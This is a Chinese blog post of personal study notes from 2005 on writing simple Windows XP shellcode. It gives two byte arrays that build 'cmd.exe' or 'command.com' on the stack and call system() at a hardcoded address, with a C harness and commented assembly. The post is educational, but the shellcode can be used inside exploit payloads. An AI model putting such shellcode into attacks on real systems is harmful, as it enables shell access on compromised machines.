shellcode的初步编写

  1  // 系统环境:xpsp2 + Microsoft Visual Studio .NET  2003
  2  // 这是我学习中写出来的。算是读书笔记一类的吧!
  3  // 时间  2005 12 03
  4  // 内容是关于shellcode的初步编写。此时我的系统函数地址是0xC7,0x93,0xBF,0x77。也就是77BF93C7
  5 作者:emissary
  6 
  7 
  8  // 这两天。听说当兵的那些人走了,不知道龚哲她是否也走了。
  9  // 再放一表上来。以后可能会用到。
 10  /*
 11  61h        a
 12  62h        b
 13  63h        c
 14  64h        d
 15  65         e
 16  66         f
 17  67         g
 18  68         h
 19  69         i
 20  6a        j
 21  6b        k
 22  6c        l
 23  6d        m
 24  6e        n
 25  6f        o
 26  70         p
 27  71         q
 28  72         r
 29  73         x
 30  74         t
 31  75         u
 32  76         v
 33  77         w
 34  78         x
 35  79         y
 36  7a        z
 37  */
 38 
 39  #include  < stdio.h >
 40  #include  < windows.h >
 41  #include  < winbase.h >
 42 
 43  // 这个是网上的一代码。和我写的不一样。环境不同。但两个都能用。
 44  char  shellcode_command[]  =  {
 45  0x8B,0xE5,  /* mov esp, ebp  */
 46  0x55,  /* push ebp  */
 47  0x8B,0xEC,  /* mov ebp, esp  */
 48  0x83,0xEC,0x0C,  /* sub  esp, 0000000C  */
 49  0xB8,0x63,0x6F,0x6D,0x6D,  /* mov eax, 6D6D6F63  */  
 50  0x89,0x45,0xF4,  /* mov dword ptr [ebp - 0C], eax */
 51  0xB8,0x61,0x6E,0x64,0x2E,  /* mov eax, 2E646E61  */  
 52  0x89,0x45,0xF8,  /* mov dword ptr [ebp - 08 ], eax */
 53  0xB8,0x63,0x6F,0x6D,0x22,  /* mov eax, 226D6F63  */  
 54  0x89,0x45,0xFC,  /* mov dword ptr [ebp - 04 ], eax */
 55  0x33,0xD2,  /* xor  edx, edx  */
 56  0x88,0x55,0xFF,  /* mov  byte  ptr [ebp - 01 ], dl  */
 57  0x8D,0x45,0xF4,  /* lea eax, dword ptr [ebp - 0C] */
 58  0x50,  /* push eax  */
 59  0xB8,0xC7,0x93,0xBF,0x77,  /* mov eax, system地址改成了我本机的。  */  
 60  0xFF,0xD0  /* call  eax  */
 61  };
 62 
 63 
 64  // 这个是我自己搞出来的code
 65  char  shellcode_cmd[]  = {
 66  0x8B,0xE5,
 67  0x55,
 68  0x8B,0xEC,       
 69  0x33,0xFF,
 70  0x57,
 71  0x83,0xEC,0x08,
 72  0xC6,0x45,0xF8,0x63,
 73  0xC6,0x45,0xF9,0x6D,
 74  0xC6,0x45,0xFA,0x64,
 75  0xC6,0x45,0xFB,0x2E,
 76  0xC6,0x45,0xFC,0x65,
 77  0xC6,0x45,0xFD,0x78,
 78  0xC6,0x45,0xFE,0x65,
 79  0x8D,0x45,0xF8,
 80  0x50,
 81  0xB8,0xC7,0x93,0xBF,0x77,
 82  0xFF,0xD0
 83  };
 84  // typedef void ( * MYPROC)(LPTSTR);   // 定义函数指针
 85 
 86  int  main()
 87  {
 88  // HINSTANCE LibHandle;
 89  // MYPROC ProcAdd;
 90  // LibHandle  =  LoadLibrary( " msvcrt.dll " );
 91  // ProcAdd  =  (MYPROC) GetProcAddress(LibHandle, " system " );  // 查找System函数地址
 92  // (ProcAdd) ( " cmd.exe " );  
 93  // return   0 ;
 94  LoadLibrary( " msvcrt.dll " );
 95  ((void( * )(void)) & shellcode_cmd)(); // 两个都可以运行。一个是command,一个是cmd。
 96  return   0 ;
 97 
 98  // __asm
 99  // {
100  // mov esp,ebp ; 
101     //  push ebp ; 
102      // mov ebp,esp ;    把当前esp赋给ebp 
103  // xor  edi,edi ;
104     //  push edi ;压入0,esp- 4 ,; 作用是构造字符串的结尾字符。 
105      // sub  esp,08h ;    这个我不知道是什么意思来着。
106      // mov  byte  ptr [ebp - 08h],63h ;  c
107      // mov  byte  ptr [ebp - 07h],6dh ;  m
108      // mov  byte  ptr [ebp - 06h],64h ;  d
109      // mov  byte  ptr [ebp - 05h],2Eh ;  .
110     //  mov  byte  ptr [ebp - 04h],65h ;  e
111     //  mov  byte  ptr [ebp - 03h],78h ;  x
112     //  mov  byte  ptr [ebp - 02h],65h ;  e一个一个生成串
113    //   lea eax,[ebp - 08h] ;   
114  //    push eax ;    串地址作为参数入栈
115     //  mov eax, 0x77BF93C7 ;
116  //     call  eax ;      call  System函数的地址
117  // }
118  } 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值